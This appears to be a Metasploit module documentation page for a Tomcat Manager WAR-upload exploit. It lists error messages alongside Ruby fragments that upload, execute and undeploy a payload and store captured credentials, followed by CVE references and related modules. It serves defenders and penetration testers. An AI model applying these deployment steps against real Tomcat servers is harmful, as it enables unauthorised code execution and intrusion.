149: # Upload Payload
150: #
Upload failed
Here is a relevant code snippet related to the "Upload failed" error message:
150: #
151: print_status("Uploading and deploying #{@app_base}...")
152: if upload_payload
153: store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
154: else
155: fail_with(Failure::Unknown, "Upload failed")
156: end
157:
158: #
159: # Execute Payload
160: #
Failed to execute the payload
Here is a relevant code snippet related to the "Failed to execute the payload" error message:
158: #
159: # Execute Payload
160: #
161: print_status("Executing #{@app_base}...")
162: unless execute_payload
163: fail_with(Failure::Unknown, "Failed to execute the payload")
164: end
165:
166: #
167: # Get the new CSRF token & session id
168: #
Unable to access the Tomcat Manager
Here is a relevant code snippet related to the "Unable to access the Tomcat Manager" error message:
165:
166: #
167: # Get the new CSRF token & session id
168: #
169: unless access_manager?
170: fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")
171: end
172:
173: #
174: # Delete the deployed payload
175: #
Failed to undeploy <APP_BASE>...
Here is a relevant code snippet related to the "Failed to undeploy <APP_BASE>..." error message:
173: #
174: # Delete the deployed payload
175: #
176: print_status("Undeploying #{@app_base} ...")
177: unless undeploy_app
178: print_warning("Failed to undeploy #{@app_base}...")
179: end
180: end
181:
182: def query_status
183: path = normalize_uri(target_uri.path.to_s, 'status')
Failed: Error requesting <PATH>
Here is a relevant code snippet related to the "Failed: Error requesting <PATH>" error message:
182: def query_status
183: path = normalize_uri(target_uri.path.to_s, 'status')
184: res = send_request_raw('uri' => path)
185:
186: unless res and res.code == 200
187: vprint_error("Failed: Error requesting #{path}")
188: return nil
189: end
190:
191: return res
192: end
Upload failed on <UPLOAD_PATH> [No Response]
Here is a relevant code snippet related to the "Upload failed on <UPLOAD_PATH> [No Response]" error message:
362: upload_path = normalize_uri(target_uri.path.to_s, "html", "upload")
363: vprint_status("Uploading #{war.length} bytes as #{@app_base}.war ...")
364: res = send_war_payload(upload_path, war)
365:
366: unless res
367: vprint_error("Upload failed on #{upload_path} [No Response]")
368: return false
369: end
370:
371: if res.code < 200 or res.code >= 300
372: vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401
Warning: The web site asked for authentication: <VALUE>
Here is a relevant code snippet related to the "Warning: The web site asked for authentication: <VALUE>" error message:
367: vprint_error("Upload failed on #{upload_path} [No Response]")
368: return false
369: end
370:
371: if res.code < 200 or res.code >= 300
372: vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401
373: vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]")
374: return false
375: end
376:
377: return true
Upload failed on <UPLOAD_PATH> [<RES.CODE> <RES.MESSAGE>]
Here is a relevant code snippet related to the "Upload failed on <UPLOAD_PATH> [<RES.CODE> <RES.MESSAGE>]" error message:
368: return false
369: end
370:
371: if res.code < 200 or res.code >= 300
372: vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401
373: vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]")
374: return false
375: end
376:
377: return true
378: end
Execution failed on <APP_BASE> [No Response]
Here is a relevant code snippet related to the "Execution failed on <APP_BASE> [No Response]" error message:
390: return parse_execute_response(res)
391: end
392:
393: def parse_execute_response(res)
394: unless res
395: vprint_error("Execution failed on #{@app_base} [No Response]")
396: return false
397: end
398:
399: if res and (res.code < 200 or res.code >= 300)
400: vprint_error("Execution failed on #{@app_base} [#{res.code} #{res.message}]")
Execution failed on <APP_BASE> [<RES.CODE> <RES.MESSAGE>]
Here is a relevant code snippet related to the "Execution failed on <APP_BASE> [<RES.CODE> <RES.MESSAGE>]" error message:
395: vprint_error("Execution failed on #{@app_base} [No Response]")
396: return false
397: end
398:
399: if res and (res.code < 200 or res.code >= 300)
400: vprint_error("Execution failed on #{@app_base} [#{res.code} #{res.message}]")
401: return false
402: end
403:
404: return true
405: end
WARNING: Undeployment failed on <UNDEPLOY_URL> [No Response]
Here is a relevant code snippet related to the "WARNING: Undeployment failed on <UNDEPLOY_URL> [No Response]" error message:
407: def undeploy_app
408: undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy")
409: res = send_request_undeploy(undeploy_url)
410:
411: unless res
412: vprint_warning("WARNING: Undeployment failed on #{undeploy_url} [No Response]")
413: return false
414: end
415:
416: if res and (res.code < 200 or res.code >= 300 or res.body =~ /FAIL - Invalid context path/)
417: vprint_warning("Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]")
Deletion failed on <UNDEPLOY_URL> [<RES.CODE> <RES.MESSAGE>]
Here is a relevant code snippet related to the "Deletion failed on <UNDEPLOY_URL> [<RES.CODE> <RES.MESSAGE>]" error message:
412: vprint_warning("WARNING: Undeployment failed on #{undeploy_url} [No Response]")
413: return false
414: end
415:
416: if res and (res.code < 200 or res.code >= 300 or res.body =~ /FAIL - Invalid context path/)
417: vprint_warning("Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]")
418: return false
419: end
420:
421: print_status("Undeployed at #{undeploy_url}")
422: return true
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10505 Merged Pull Request: Add post authentication information in modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8489 Merged Pull Request: more httpClient modules use store_valid_credential
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7979 Merged Pull Request: remove downcase on password
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6921 Merged Pull Request: Fix #4885, Support basic and form auth at the same time
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5122 Merged Pull Request: Ensure that local variable
upload_pathis defined - #2941 Merged Pull Request: Fixup release
References
- CVE-2009-3843
- OSVDB (60317)
- CVE-2009-4189
- OSVDB (60670)
- CVE-2009-4188
- BID-38084
- CVE-2010-0557
- http://www-01.ibm.com/support/docview.wss?uid=swg21419179
- CVE-2010-4094
- ZDI-10-214
- CVE-2009-3548
- OSVDB (60176)
- BID-36954
- http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html
See Also
Check also the following modules related to this module:
- exploit/multi/http/tomcat_mgr_deploy
- auxiliary/scanner/http/tomcat_mgr_login
- exploit/multi/http/tomcat_jsp_upload_bypass
- auxiliary/admin/http/tomcat_administration
- auxiliary/admin/http/tomcat_ghostcat
- auxiliary/admin/http/tomcat_utf8_traversal
- auxiliary/scanner/http/tomcat_enum
- exploit/windows/http/tomcat_cgi_cmdlineargs
- post/multi/gather/tomcat_gather
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- post/windows/gather/enum_tomcat
- exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
- exploit/linux/http/vmware_vrops_mgr_ssrf_rce
- exploit/windows/browser/hp_easy_printer_care_xmlcachemgr
- exploit/windows/browser/mcafee_mcsubmgr_vsprintf
- exploit/windows/ftp/gekkomgr_list_reply
- exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce
- exploit/windows/license/flexnet_lmgrd_bof
- exploit/windows/scada/delta_ia_commgr_bof
- exploit/windows/scada/yokogawa_bkesimmgr_bof
- auxiliary/scanner/misc/ib_service_mgr_info
Related Nessus plugins:
- Apache Tomcat Manager Common Administrative Credentials
- VMSA-2011-0003 : Third-party component updates for VMware vCenter Server, vCenter Update Manager, ESXi and ESX
- VMware ESX / ESXi Third-Party Libraries Multiple Vulnerabilities (VMSA-2011-0003) (remote check)
Authors
rangercha
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
